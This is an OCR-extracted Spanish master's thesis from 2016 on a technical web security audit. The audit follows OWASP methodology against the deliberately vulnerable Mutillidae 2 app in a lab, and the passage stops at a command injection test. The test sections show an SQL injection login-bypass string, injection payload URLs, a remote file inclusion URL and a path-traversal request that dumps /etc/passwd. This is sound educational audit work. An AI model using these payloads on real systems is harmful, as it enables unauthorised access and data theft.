dJuoc umB @20 @ ®

Universitat Autonoma UNIVERSITAT Uiiversitatitifes
www.uoc.edu de Ban:elona ROVIRA I VI RG I LI I“es Balea]‘s

Auditoria Técnica de Seguridad
de aplicaciones web

Nombre Estudiante: Isaac Pefia Torres

Programa: Master Universitario en Seguridad de las Tecnologias de la
Informacién y de las Comunicaciones (MISTIC)

Nombre Consultor: Rafael Estevan de Quesada
Nombre Profesor/a responsable de la asignatura: Carles Garrigues Olivella
Centro: Universitat Oberta de Catalunya

Fecha entrega: 6 de junio de 2016



Esta obra estd sujeta a una licencia de
Reconocimiento-NoComercial-Compartirigual
3.0 Espafia de Creative Commons



http://creativecommons.org/licenses/by-nc-sa/3.0/es/

FICHA DEL TRABAJO FINAL

Auditoria Técnica de Seguridad a una

Titulo del trabajo: S
aplicacion web

Nombre del autor: | Isaac Pefa Torres

Nombre del consultor/a: | Rafael Estevan de Quesada

Nombre del PRA: | Carles Garrigues Olivella

Fecha de entrega (mm/aaaa): | 06/2016

Master Universitario en Seguridad de las
Titulacién:: | Tecnologias de la Informacibn y de las
Comunicaciones (MISTIC)

Idioma del trabajo: | Espafiol

Palabras clave | Auditoria web, riesgos, seguridad.

Resumen del Trabajo:

El presente trabajo tiene como objetivo realizar una auditoria técnica de
seguridad a una aplicacion web. Se revisaran los diez riesgos mas importantes
presentes en aplicaciones web descritos por OWASP en su informe Top 10 del
afio 2013. Para revisar estos riesgos se auditaran un conjunto de controles a
seleccionados del documento OWASP Testing Guide v4 de OWASP. Como
resultado del trabajo se identificaran una serie de problemas de seguridad
presentes en la aplicacion web objetivo de la auditoria y se realizaran una serie
de recomendaciones para mejorar la seguridad.

Abstract:

This paper aims to conduct a technical audit of security to a web application. It
checks the ten most important risks in web applications described in the report
OWASP Top 10 of the year 2013. To review these risks will audit a set of controls
selected from the document OWASP OWASP Testing Guide v4. As a result of the
work a number of security issues present in the target web application will be
identified. Several recommendations to improve safety of the web application will
be made.
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1. Introduccion

1.1 Contexto y justificacion del Trabajo

Conforme los medios tecnoldgicos han ido evolucionado, el uso de las redes de
comunicaciones como Internet se ha ido extendiendo entre la poblacion. Segun
la pagina [1] el 46.1% de la poblacibn mundial hace uso de Internet. Esto
significa que Internet tiene a fecha de junio de 2016 casi 3.500 millones de
usuarios.

Esta gran cantidad de usuarios generan una enorme cantidad de informacién
en servicios publicados en Internet y en redes internas de las organizaciones,
entre estos se encuentran los servicios de correo electronico, blogs, foros,
mensajeria instantanea, redes sociales, bases de datos, etc.

Segun se indica en [1] en dia 5 de junio de 2016 existen mas de 1.000 millones
de webs online. Se puede ver en el siguiente grafico como ha ido aumentando

a lo largo de tiempo. En el Ultimo afio a revertido un poco debido a las
fluctuaciones de paginas inactivas:

Total number of Wehsites

000.000.000 .
1.000.000.000 B VWebsites

2000 2002 2004 2006 2008 2010 2012 2014
2001 2003 2005 2007 2009 20N 2013 2015

llustracién 1: Numero total de paaginas webs

Empresas como SmartinSights han calculado cuanta informacién se maneja en
algunos de los servicios méas populares en Internet en sesenta segundos [2] y
los resultados son impresionantes:
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llustracion 2: ¢ Qué ocurre en Internet en 60 segundos?

Si analizamos estos servicios podemos comprobar la tendencia que hay de
usar la web como frontal de acceso a la informacién. Normalmente, aunque se
puedan usar aplicaciones especificas de escritorio, suele haber ademas un
acceso a través del navegador.

Un compromiso de la confidencialidad, disponibilidad o integridad de estos
datos puede suponer un gran impacto para las organizaciones y los usuarios
de estos servicios. Los principales dafios pueden afectar a nivel econémico, de
imagen y de confianza.

Podemos concluir que la proteccion de la informacion contenida en estos
servicios web es de gran importancia.

En este contexto se enmarca el presente Trabajo de Fin de Master. Se hace
necesario entender las principales vulnerabilidades y riesgos presentes en los
entornos web, asi como la necesidad de realizar auditorias periddicas en las
organizaciones y comprobar los controles implementados para proteger la
informacion.

1.2 Objetivos del Trabajo

Se indican a continuacién los principales objetivos a alcanzar con el presente
Trabajo Fin de Master:

e Desarrollar un procedimiento que permita llevar a cabo una auditoria
técnica de seguridad a una aplicacion web.

e Generacion de los documentos necesarios para poder dar el servicio de
auditoria.



e |dentificar y conocer los principales riesgos presentes en las
aplicaciones web.

e |dentificar y saber utilizar las principales técnicas y herramientas para
detectar problemas de seguridad en una aplicacion web.

e Analizar la informacion resultante de la ejecucion de las diferentes
herramientas de deteccion de problemas de seguridad.

e Transmitir a un cliente el proceso seguido, la informacion resultante del
analisis y unas recomendaciones para mejorar la seguridad de su sitio
web.

e Presentar la informacion al cliente de forma clara en un informe y una
presentacion ejecutiva, de manera que sea facil de entender.

1.3 Enfoque y método seguido

El presente proyecto de auditoria técnica de seguridad a una aplicacion web
seguira las siguientes fases:

e FASE 1: Generacion del plan de trabajo

e FASE 2: Generacion del Plan de auditoria
e FASE 3: Ejecucion de pruebas de auditoria
e FASE 4: Generacién de memoria final

e FASE 5: Presentacion del proyecto

Por otra parte, para identificar y chequear los controles de seguridad presentes
en la aplicacion web a auditar se seguira principalmente la metodologia
OWASP. Se usaran como referencias los documentos OWASP Testing Guide
v4 [2] y OWASP Top 10 2013 [3].

La fundacion Open Web Application Security Project lidera desde 2001 un
proyecto libre sin animo de lucro orientado a promover la seguridad del
software en general y de aplicaciones web en particular, manteniendo varios
proyectos e iniciativas. Generan y distribuyen material bajo la licencia Creative
Commons desarrollados por multitud de profesionales del sector. Sus
publicaciones estan muy bien valoradas, de hecho son consideradas un
referente en el mundo de la seguridad del desarrollo y evaluacién de
aplicaciones.

La metodologia de OWASP propone dos fases durante las pruebas. Una pasiva
en la que se observa y se comprende el funcionamiento de la aplicacion para
entender la I6gica de operacion e identificar possibles vectores de ataque y/o
vulnerabilidades. En una segunda fase se ejecutaran de forma activa las
prueba propuestas en su guia.

Las pruebas propuestas por OWASP se agrupan en 11 categorias:

Information gathering.

Configuration and Deployment Management Testing.
Identify Management Testing.

Authentication Testing.

PwbdPE



Authorization Testing.
Session Management Testing.
Input Validation Testing.

Error Handling.

. Cryptography.

10.Business Logic Testing.
11.Client Side Testing.

©oNoOO

Como se indica en el Plan de Auditoria, el objetivo es comprobar los 10 riesgos
indiados en el Top 10 de OWASP de 2013. Para comprobar cada unos de esos
riesgos se seleccionaran y chequearan una serie de controles de las categorias
indicadas anteriormente.

También se consultaran los siguientes documentos para realizar algunas
comprobaciones, obtener informaciéon adicional y ofrecer recomendaciones de
seguridad sobre mejoras a tener en cuenta: Open Source Security Testing
Methodology Manual (OSSTMM version 3), NIST SP 800-115 Technical Guide
to Information Security Testing and Assessment [4].

Asi como otras guias del NIST de las siguientes series:

e SP 800 - Computer Security [5].
e SP 1800 - NIST Cybersecurity Practice Guides [6].
SP 500 - Computer Systems Technology [7].

1.4 Planificacion del Trabajo

En este apartado de describirdn las fases y tareas propuestas, las
dependencias, recursos necesarios, planificacion de estas tareas en el tiempo,
etc. para realizar la auditoria técnica de seguridad.

1.4.1 Descripcion de fases y tareas
Se propone la realizacion de las siguientes fases y tareas:

Fase 1 Planificacion de fases y tareas: Esta primera fase tiene como
principal objetivo planificar las fases y tareas a realizar durante la auditoria
técnica de seguridad. La principal tarea a realizar en esta fase es el Plan de
Trabajo en el que se detallan los siguientes aspectos:

e Justificacion del proyecto.
e Descripcion de objetivos.
e Metodologia.

e Descripcion de tareas.

¢ Planificacion de tareas.

e Recursos necesarios.

e Andlisis de riesgos.



Fase 2 Plan de auditoria: El plan de auditoria detallara la auditoria a realizar.
En una auditoria real a un cliente seria necesario realizar una toma de
requisitos para determinar de manera realista el alcance y las circunstancias
del trabajo a realizar. Con este documento se busca la conformidad del cliente
sobre el trabajo propuesto en el plan de auditoria. Este documento podria
contener los siguientes puntos:

e Establecimiento del alcance.

e Descripcion del entorno a auditar.

e Metodologias que se usaran.

e Definicion de los plazos temporales de la auditoria.

e Procedimientos de comunicacion con los responsables durante el
proceso.

e Procedimiento de actuacion ante la deteccion de vulnerabilidades
criticas o problemas en los sistemas auditados a causa de las pruebas
lanzadas.

e Seleccidn y descripcion de los controles a auditar.

e Herramientas que se usaran.

e Requisitos necesarios para realizar las pruebas.

e Restricciones a tener en cuenta.

Ya que no se trata de una auditoria real, los sistemas auditar se implementaran
en un entorno de laboratorio. Habra que seleccionar la aplicacién contra la que
lanzar las pruebas e implementarla.

Sefalar que en el plan de auditoria se hablard en todo momento de una
empresa, sistemas y condiciones ficticias como si de una situacion real se
tratara.

El Plan de Auditoria se incluye en el Anexo 2 de este documento.

En el Anexo 4 se incluye un modelo de Acuerdo de confidencialidad y secreto
proporcionado por INCIBE [18] y que podria usarse para la auditoria a realizar.

Fase 3 Ejecuciéon de pruebas de auditoria: En esta fase se ejecutaran las
pruebas indicadas en el plan de auditoria contra el sistema a auditar. A grandes
rasgos, la ejecucion de las pruebas se realizarian siguiendo las siguientes
fases:

1. Reconocimiento (footprinting): obtencién de informacion de los
objetivos. Se puede obtener informacion de bases de datos whois, de los
servidores dns, de base de datos de Internet, etc.

2. Escaneo (fingerprinting): obtencion de informacion de los activos
estableciendo comunicacion con ellos. Dentro de esta fase entrarian el
descubrimiento de activos, escaneo de puertos, figenprinting de
servicios, etc.

3. Detecciéon de vulnerabilidades: con toda la informacién recogida
anteriormente junto con el lanzamiento de nuevas herramientas se
identificaran vulnerabilidades presentes en los sistemas.
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4. Verificaciéon de vulnerabilidades: en esta fase de intentaran verificar la
presencia de las vulnerabilidades identificadas lanzando pruebas
concretas.

5. Andlisis de resultados: se realizaran un analisis de toda la informacion
recogida. Puede que sea necesario lanzar alguna prueba mas para
obtener evidencias.

Fase 4 Memoria final (informe auditoria): En esta fase se generara la
memoria del trabajo fin de master. En este trabajo se presentara todo el
transcurso de la auditoria realizada, el detalle de las fases, los documentos
generados, los hallazgos encontrados, asi como las recomendaciones que se
le harian llegar al cliente.

Fase 5 Presentaciéon/Video: En esta fase se generara una presentacion del
trabajo realizado y un video con la explicacion de cada una de las diapositivas.

Fase 6 Defensa TFM (20 - 26 junio): En esta fase se responderan las
preguntas formuladas por el Tribunal de Evaluacién.

1.4.2 Planificacion en el tiempo

Se muestra a continuacion un diagrama de Gantt con la planificacion de las
tareas:

— ~—
3> S5—3 2016
project " T T T T

Nombre - Fecha de inicio  Fecha de fin abril I JHRIE Julio
¥ © PECL - Plan de trabajo 11/03/16 21/03/16 r—l

@ Justificacién del proyecto 11/03/16 11/03/16 i}

@ Descripcién de objetivos 12/03/16 12/03/16 ]

@ Metodologla a emplear 13/03/16 13/03/16 i}

@ Descripcibn de tareas 14/03/16 15/03/16 ]

@ Planificacion de tareas 16/03/16 17/03/16 ]

© Recursos necesarios 18/03/16 18/03/16 1]

© Andlisis de riesgos 19/03/16 21/03/16 =
¥ o PEC2 - Plan de auditoria 22/03/16 11/04/16 Jr—

o Determinar aplicacién objetivo 22/03/16 23/03/16 O

o Implementar el laboratorio 24/03/16 25/03/16 ]

@ Describir el entorno 26/03/16 27/03/16 O

@ Describir metodologias 28/03/16 29/03/16 ]

@ Definicién de plazos temporales 30/03/16 30/03/16 i}

@ Procedimientos de comunicacién 31/03/16 1/04/16 O

@ Identificar principales riesgos 2/04/16 5/04/16 ||

@ Investigar y documentar las herramientas a utilizar 3/04/16 11/04/16 | —

@ Describir requisitos necesarios 6/04/16 8/04/16 =

@ Describir restricciones a tener en cuenta 9/04/16 11/04/16 =
¥ © PEC3 - Ejecucién de pruebas de auditoria 12/04/16 9/05/16 pr—

© Reconocimiento 12/04/16 14/04/16 ]

@ Escaneo 15/04/16 17/04/16 =

© Deteccién de vulnerabilidades 18/04/16 25/04/16 | —

@ Verificacién de vulnerabilidades 26/04/16 2/05/16 | —

@ Andlisis de resultados 3/05/16 6/05/16 (|

@ Documentacién de pruebas 7/05/16 9/05/16 ]
¥ © PEC4 - Memoria final 10/05/16 6/06/16 pr—

© Generacién de memoria 10/05/16 6/06/16 |
¥ @ PECS - Presentacidn 7/06/16 13/06/16 r—

@ Generacién de presentacién 7/06/16 10/06/16 =

o Generacién de video 11/06/16 13/06/16 =

© Defensa TFM 23/06/16 27/06/16 ||

llustracion 3: Diagrama de Gantt
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1.4.3 Dependencias de tareas

La mayoria de las tareas es necesario realizarlas en el orden indicado en el
anterior diagrama ya que la informacion generada como salida de una tarea es
la informacion de entrada necesaria para realizar la siguiente. Un ejemplo de
esto se da en la fase de “Ejecucion de pruebas de auditoria” donde se obtiene
informacion de los sistemas paso a paso, y se utiliza esta informacion para
lanzar las pruebas de deteccidn de vulnerabilidad y posteriormente verificarlas.

Otras tareas como la descripcion del los procedimientos de comunicacion o las
metodologias en el Plan de auditoria se podrian haber realizado en otro orden
dentro de la fase pero se ha elegido ese orden por seguir el indice del
documento a generar.

1.4.4 Recursos necesarios

Se describen los recursos que serian necesarios en el caso de ofrecer una
auditoria técnica de seguridad a un cliente en una situacion real y estandar.
Podria ser que bajo unas circunstancias especiales hicieran falta otros recursos
adicionales.

e Laboratorio: siempre es interesante contar con un laboratorio que
proporcione un entorno controlado sobre el que lanzar pruebas. Con
esto se puede garantizar que las pruebas no generaran ningun dafio
sobre los sistemas de produccion. También permitira analizar y comparar
mejor los resultados. Se recomienda contar como minimo con dos
maquinas virtuales, una para instalar y probar las herramientas de
auditoria que se usaran, y otra magquina con aplicaciones contra las que
lanzar las pruebas.

e Documentacién: es necesario disponer de documentaciéon sobre
metodologias, manuales, guias, buenas practicas, y demas
documentacion para guiar el proceso de auditoria.

e Conexion a internet: serd necesario disponer de una conexién a
Internet para consultar informacion, asi como descargar herramientas,
sistemas operativos, aplicaciones, etc.

e Equipo auditor: en una situacion real seria necesario disponer de un
equipo de personas para formar el equipo auditor. El tamafio del equipo
y especializacion requerida dependera de las caracteristicas de la
auditoria a realizar. En este caso se considera que se cuenta con una
sola persona para realizar la auditoria que realizara las funciones de
Jefe de Proyecto y Auditor Jefe.

e Equipo portatil: equipo desde el que se realizaran las pruebas y se
generara la documentacion.

12



Licencias: en principio las herramientas que se usaran durante la
ejecucion de la auditoria en el ambito de este TFM no requieren licencia,
pero en un entorno profesional quizas podria hacer falta la suscripcion
de algunas herramientas profesionales. Dependiendo de si se usan de
manera personal o comercial se permite el uso de determinadas
herramientas, esto lo determina la licencia a la que esté sujeta la
herramienta. Este aspecto habria que tenerlo en cuenta sobre todo de
cara a posibles violaciones de licencias y a la hora de generar un
presupuesto del proyecto a ejecutar.

1.4.5 Presupuesto del proyecto

Se muestra un calculo total de horas con el desglose de las tareas realizadas
por el equipo auditor y el coste asociado a cada una de ella en funcién de las
horas necesarias para realizarla.

Fase Tarea ‘ Cantidad ‘ Precio ‘ Total

Fase 1 - Plan de trabajo 1.1 Documento de planificacion de tareas 24 25 600

Fase 2 - Plan de auditoria 2.1 Implementacion de laboratorio 8 25 200

2.2 Identificar principales riesgos 16 25 400

2.3 Investigar herramientas a utilizar 24 25 600

2.4 Generacion del Plan de Auditoria 24 25 600

Fase 3 — Ejecucion de 3.1 Reconocimiento 2 25 50
pruebas

3.2 Escaneo 2 25 50

3.3 Deteccion de vulnerabilidades 32 25 800

3.4 Verificacion de vulnerabilidades 32 25 800

3.5 Andlisis de la informacién 16 25 400

Fase 4 — Memoria final 4.1 Generacion de memoria 40 25 1000

Fase 5 — Presentacion 5.1 Generacion de presentacion 16 25 400

5.2 Generacion de video 16 25 400

Total 252 6300

Tabla 1: Relacion de tareas

1.4.6 Andlisis de riesgo

Se analizan los principales riesgos a asumir durante la ejecucion del proyecto:

Correcta determinacidon del alcance: la determinacion correcta del
alcance antes de la ejecucion de una auditoria puede ayudar en gran
medida a conseguir el éxito del trabajo. Un alcance mal definido puede
llevar a invertir recursos cuando no sea necesario y hacer que el trabajo
no sea rentable. Es importante conocer las motivaciones que le llevan al
cliente a solicitar o aceptar el trabajo de auditoria para alinearse con
esta necesidad y que los resultados obtenidos sean de utilidad.
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e Correcta planificacion del esfuerzo y recursos destinados: conocer
las limitaciones del entorno a auditar, la ubicacion geogréfica, los
sistemas a auditar, procesos, etc. ayudard a determinar los esfuerzos y
recursos necesarios. Una incorrecta estimacion puede llevar al fracaso
al proyecto.

e Correcta seleccidon del equipo auditor: dependiendo del alcance y
caracteristicas de la auditoria a realizar sera necesario contar con un
personal experto en esas tecnologias. Por tanto, la seleccién del los
integrantes del equipo auditor sera un factor fundamental y estara
relacionado directamente con conseguir el éxito de la auditoria.

1.5 Breve sumario de productos obtenidos
Al finalizar este proyecto se contara con los siguientes documentos generados:

e Documento con el plan de trabajo a realizar: relacion de tareas a
realizar, fecha de comienzo, duracion y relacion entre ellas.

e Documento con el plan de auditoria: detalle de la auditoria a realizar.
Junto con este documento se entregara el Acuerdo de confidencialidad
al cliente. Se busca la conformidad del cliente sobre el trabajo
propuesto.

e Memoria técnica del proyecto: este documento incluye las pruebas de
auditoria realizadas y andlisis de la informacién, ademas de unas
recomendaciones sobre los sistemas auditados.

e Presentacién del proyecto: en este documento se mostrara el proceso
de auditoria de forma resumido, indicando los aspectos mas
importantes.

¢ Video de presentacidn: se describira el trabajo realizado en un video.

1.6 Breve descripcion de los otros capitulos de la memoria

A continuacion se realizara un resumen ejecutivo de los resultados obtenidos.
Indicando los aspectos mas importantes.

Méas adelante se describirA con mas detalle los controles comprobados, las
pruebas realizadas y los resultados obtenidos.

Después se indicaran unas recomendaciones a aplicar en los sistemas
auditados.

Por ultimo se presenta un glosario de términos, una bibliografia y unos anexos
con informacién extendida mencionada a lo largo del documento.
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2. Ejecucion de Auditoria Técnica de Seguridad

En este punto del proyecto tenemos lo siguiente:

e Tras entrevistas mantenidas con el cliente se ha definido el alcance del
proyecto.

¢ Planificacion de las fases y tareas a realizar en el tiempo.
e Oferta econdmica del trabajo con el desglose de tareas.
¢ Plan de auditoria, en el que se describe el detalle del trabajo a realizar.

Una vez que todo lo anterior esta validado por el cliente se acuerda una fecha
para proceder a realizar las pruebas de auditoria contra los activos objetivo.

Se describen a continuacion las pruebas de auditorias realizadas a la pagina
www.shopathome.com. Se analizan los 10 riesgos principales planteados por la
organizacion OWASP en su informe de 2013.

Para comprobar los riesgos se chequearan un total de 49 controles de
seguridad, seleccionados del informe OWASP Testing Guide v4. Se ha
procurado incluir, en la medida de lo posible, evidencias a los andlisis
realizados.

Hay herramientas que ofrecen gran cantidad de informacién de sus resultados.
Los informes de estas herramientas se incluyen en los anexos de este
documento.

Las pruebas se han lanzado contra un entorno de laboratorio, una méaquina
virtual con el sistema OWASP Broken Web Application, que contiene multiples
aplicaciones vulnerables, aunque el alcance definido de este proyecto es sélo
para la aplicacion Mutillidae 2, que se ha alojado bajo el dominio
www.shopathome.com simulando la web del cliente a auditar.

Se puede encontrar mas detalles del laboratorio implementado en el Anexo 3.
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2.1 Resumen ejecutivo

Tras la auditoria realizada se detecta que la aplicacion web presenta los
riesgos mas importantes descritos por OWASP en su Top 10 de 2013. Se
describe a continuacion los resultados mas importantes de las pruebas
realizadas:

e Al - Inyeccién:
o La pagina es vulnerable a SQLi permitiendo saltar el control de
autenticacion y acceder a informacion interna.
o Es wvulnerable a RFI y LFI pudiendose cargar ficheros remotos y
acceder a ficheros locales del sistema.
o Se pueden ejecutar comandos del sistema y mostrar la salida de los
comandos en la pagina web.
e A2 - Pérdida de autenticacién y gestion de sesiones:
© No existe un control en la creacion de usuarios.
o Es possible la enumeraciéon de cuentas de usuarios a través de los
mensajes de errors de la pagina de login.
o El patron usado para la creacion de usuarios es predecible.
o Se detectan contrasefias por defecto en usuarios de la aplicacion.
o No existe blogueo ante intentos de fuerza bruta.
o No hay implementado una politica de contraseilas seguras, se
permite la asignacion de contrasefas débiles.
o Las cookies pueden viajar en claro por la red en canales sin cifrar.
o La cookie de sesion no se renueva.
e A3 - Secuencia de comandos en sitios cruzados (XSS):
o Se detectan varias vulnerabilidades XSS que pueden ser utilizados
para comprometer a los usuarios de la pagina.
e A4 - Referencia directa insegura a objetos:
o La péagina es vulnerable a directorio transverlal.
o Se permite ver el cédigo fuente de archivos php.
e A5 - Configuracion de seguridad incorrecta:
o Se detectan multiples vulnerabilidades en la arquitectura del sistema.
o Se detectan ficheros con informacion sensible publicados en la web.
o Se detectan paneles de administracion de herramientas de gestion
de base de datos publicados.
o Los mensajes de error muestran informacion que puede ser utilizada
para lanzar ataques contra la web.
e A6 - Exposicién de datos sensibles:
o Se detectan vulnerablidades presentes en los servicios que hacen
uso de tuneles cifrados.
o La web tiene publicada un fichero que contiene credenciales de
usuarios.
o Se detectan credenciales publicadas en los comentarios de la pagina
web.
e A7 - Ausencia de control de acceso a funciones:
e A8 - Falsificaciéon de peticiones en sitios cruzados (CSRF):
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o La pagina es vulnerable a CSRF. Se permite mediante la inyeccion
de cdodigo javascript la creacion de entradas de forma automatica
cada vez que un usuario visite la pagina.

e A9 - Uso de componentes con vulnerabilidades conocidas:

o El sistema hace uso de multitud de componentes desactualizados y
con multiples vulnerabilidades criticas.

e A10 - Redirecciones y reenvios no validados:

o La péagina se puede utlizar para redirigir a un usuario a sitios
maliciosos.

Més adelante se realizan una serie de recomendaciones a aplicar en el sistema
objetivo de esta auditoria.

2.2 Pruebas de auditoria

Se describe, para cada uno de los riesgos a analizar, los controles chequeados
en la web objetivo de esta auditoria.

2.2.1 Al - Inyeccidn

Las fallas de inyeccidn, tales como SQL, OS, y LDAP, ocurren cuando datos no
confiables son enviados a un interprete como parte de un comando o consulta.
Los datos hostiles del atacante pueden engafar al interprete y ejecutar
comandos no intencionados o acceder datos no autorizados.

Comprobaciones a realizar:

e Verificar que en todo uso de intérpretes se separa la informacién no
confiable del comando o consulta.

e \Verificar el codigo para ver si la aplicacion usa intérpretes de manera
segura.

e Analisis dinamico automatizado para ver si existe alguna inyeccion
explotable.

OTG-INFO-006 Identify application entry points
Descripcién

Es necesario enumerar los puntos de entrada con los que interactla el usuario.
Se debe poner especial atencion a todas las peticiones HTTP, métodos GET y
POST, asi como los pardmetros y formularios que son pasados a la aplicacion.
También hay que poner atencion en cuando se usan métodos GET y cuando
POST para enviar datos a la aplicaicién. Lo normal es que se usen peticiones
GET, pero para transmitir informacion sensible se usen los métodos POST, la
informacion se envia en el cuerpo de la peticién POST.

Para capturar los datos en las peticiones POST se usard un proxy que
interceptara las conexiones y tendra acceso al cuerpo de las peticiones.

La relacion de los puntos de entrada de la aplicacion se puede usar

posteriormente para comprobar si la aplicacion es vulnerable a SQLi, XSS u
otras vulnerabilidades.
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Algunas comprobaciones:
Peticiones HTTP:

e |dentificar cuando se usan peticiones GET y cuando POST.

e |dentificar los parametros usados en las peticiones POST.

e Cuando se trate de peticiones POST, poner especial atencién a los
parametros ocultos.

e |dentificar los parametros en las peticiones GET.

e |dentificar los pardmetros de tipo cadena de las peticiones.

e Poner especial atencion cuando se identifican varios parametros en una
cadena o0 en una peticibn POST ya que puede que sea necesario
ejecutar algunos o todos los pardmetros a la hora de realizar un ataque.

e Poner atencion en cabeceras adicionales o personalizadas que no son
tipicas.

Respuestas HTTP:

e |dentificar nuevas cookies asignadas, modificadas o afadidas.

¢ |dentificar donde se realizan redirecciones (3XX HTTP), cddigos 400, en
particular 403 Forbbiden, y errores internos del servidor 500 durante
respuestas normales.

e Analizar también cabeceras interesantes usadas que puedan identificar
un producto determinado o un sistema configurado incorrectamente.

Pruebas realizadas

Se utiliza el spider de Burp para identificar los puntos de entrada GET y POST
de la aplicacion. También se hace uso del siguiente script en python
http://www.fluproject.hol.es/descargasDirectas/codigos/spider.py.

Los puntos de entrada GET y POST detectados se pueden consultar en el
Anexo 4.

OTG-INPVAL-005: Testing SQL Injection
Descripcidén

Consiste en la inyeccion de sentencias SQL en algiun punto de entrada
proporcionado por la aplicacion. La sentencia se transmitird desde el cliente a
la aplicacion web. Un atague exitoso permitira leer, modificar o borrar datos de
la base de datos de la aplicacion.

El primer paso para proceder con un ataque SQLi es identificar todos los
puntos de entrada que proporciona la aplicaciéon. En las pruebas que se
realizaran se buscaran solo los pardmetros en las peticiones GET y POST, no
se tendra en cuenta la posibilidad de inyeccién con técnicas como inyeccion en
cookies o en campos de las cabeceras HTTP.
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Se usara la herramienta sqlmap para realizar las pruebas.
Herramientas:

e Sqglmap
e  Wapiti
e \Vega

Pruebas realizadas

Se comprueba que se puede saltar la autenticacion de la pagina de login
introduciendo una sentencia sql en el campo del usuario:

''or 1=1 --

Con la herramienta wapiti se detectan vulnerabilidades SQLIi:

[+] Lanzando médulo sql
Inyeccién MySQL en http://www.shopathome.com/includes/pop-up-help-context-generator.php
mediante inyeccién en el parametro pagename

URL maliciosa: http://www.shopathome.com/includes/pop-up-help-context-generator.php?
pagename=%BF%27%22%28
Inyeccién MySQL en http://www.shopathome.com/level-1-hints-page-wrapper.php mediante
inyeccién en el paréametro levellHintIncludeFile

URL maliciosa: http://www.shopathome.com/level-1-hints-page-wrapper.php?

levellHintIncludeFile=%BF%27%22%28

La herramienta Vega detecta varios puntos de entrada vulnerables a SQLI:

e GET /level-1l-hints-page-wrapper.php?levellHintIncludeFile=19%20AND%201=2%20- -%20
e GET /includes/pop-up-help-context-generator.php?pagename=/owaspbwa/mutillidae-
git/home.php'"

OTG-INPVAL-013: Testing Code Injection (LFI/RFI)
Descripcion

Este control permite comprobar si es posible introducir codigo como entrada en
la pagina web y que éste sea ejecutado por el servidor.

La vulnerabilidad File inclusion permite a un atacante incluir un fichero presente
en el servidor debido a la ausencia de validacibn adecuada. Se introduce la
ruta del fichero en una entrada de datos.

Remote File Inclusion (RFI) es un tipo de ataque que tiene como objetivo incluir
un fichero remoto a través de una entrada proporcionada por la pagina web.

Herramientas:

e Fimap
e Browser

19


http://www.shopathome.com/index.php?page=login.php&popUpNotificationCode=LOU1

Pruebas realizadas

Se prueba a pasarle al parametro page un fichero externo de tipo txt y se
comprueba que es vulnerable a RFI como se puede ver en la siguiente captura
de pantalla:

‘http://www.shopathome.com/index.php?page:https://wordpress.org/plugins/about/readme.txt

n: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

/Register Toggle Show Popup Toggle Enforce Reset View View Captured
Hints Hints Security SSL DB Log Data

=== Plugin Name === Contributors: (this should be a list of wordpress.org
userid's) Donate link: http://example.com/ Tags: comments, spam Requires at
least: 3.0.1 Tested up to: 3.4 Stable tag: 4.3 License: GPLv2 or later License
URI: hitp://www.gnu.org/licenses/gpl-2.0.html Here is a short description of the
plugin. This should be no more than 150 characters. No markup here. ==
Description == This is the long description. No limit, and you can use
Markdown (as well as in the following sections). For backwards compatibility, if
this section is missing, the full length of the short description will be used, and
Markdown parsed. A few notes about the sections above: * "Contributors” is a
comma separated list of wordpress.org usernames * "Tags" is a comma
separated list of tags that apply to the plugin * "Requires at least" is the lowest
version that the plugin will work on * "Tested up to" is the highest version that
you've *successfully used to test the plugin*. Note that it might work on higher
versions... this Is just the highest one you've verified. * Stable tag should
indicate the Subversion "tag" of the latest stable version, or "trunk," if you use
“ftrunk/” for stable. Note that the “readme.txt” of the stable tag is the one that is
considered the defining one for the plugin, so if the “/ftrunk/readme.txt” file says
that the stable tag is "4.3", then it is "ftags/4.3/readme.txt’ that'll be used for

-
-
P

};ar:;‘::.er displaying information about the plugin. In this situation, the only thing
considered from the trunk “readme.txt’ is the stable tag pointer. Thus, if you
develop in trunk, you can update the trunk “readme.txt™ to reflect changes in
your in-development version, without having that information incorrectly
l disrlnaad ahniit the rurrant stahla varsinn that larks thnse rhannas -- as lnnn IIUStfa

cion 4: Testing Remote File Inclussion

Se prueba a pasarle a parametro page un fichero interno y se comprueba que
es vulnerable a LFI (Local File Inclusion):

‘http://www.shopathome.com/index.php?page=../../../../etc/passwd

AVLET GTLUILY RTYEL W IUSEU) IS, WISETU W T Uy HEIUSI ) 1T ey g

Toggle Show Popup Toggle Enforce Reset View View Captured|
Hints Hints Security SSL DB Log Data

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbinz/bin/sh
bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games /bin/sh man:x:6:12:man:/var/cache/man:/bin/sh
Ip:x:7:7:Ip:var/spool/ipd /bin/sh mail:x:8:8:mail:/var/mail /bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:var/spool/uucp /bin/sh
proxy:x:13:13:proxy/bin:/bin/sh www-data:x:33:33 :www-data:/var/www:/bin/sh
backup:x:34:34:backup:ivar/backups:/bin/sh list:x:38:38:Mailing List
Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-
Reporting System (admin):/var/lib/gnats:/binfsh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

libuuid:x:100:101 ::ivar/lib/libuuid:/bin/sh syslog:x:101:102::/home/syslog:/binfalse
klog:x:102:103::/home/klog /bin/false mysql:x:103:105:MySQL
Server,,,:varflib/mysql:/bin/false landscape:x:104:122::/varllib/landscape:/binfalse
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin postgres:x:106:109:PostgreSQL
administrator,,,:/var/lib/postgresql./bin/bash
messagebus:x:107:114::var/run/dbus/bin/false
tomcat6:x:108:115:/usr/share/tomcat6:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash

polkituser:x:109:118:PolicyKit,,, /var/run/PolicyKit:/bin/false
haldaemon:x:110:119:Hardware abstraction layer,,,:/var/run/hald:/binffalse
pulse:x:111:120:PulseAudio daemon,,,:/var/run/pulse /bin/false
postfix:x:112:123::/var/spool/postfix:/binffalse

er

llustracion 5: Testing Local File Inclusion
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OTG-INPVAL-014: Testing Command Injection
Descripcidén

En este control se comprobara la ejecucion de comandos del sistema operativo
a traves de peticiones HTTP a la aplicacion.

Herramientas:

e Commix

Pruebas realizadas

Se detecta que el formulario de la pagina
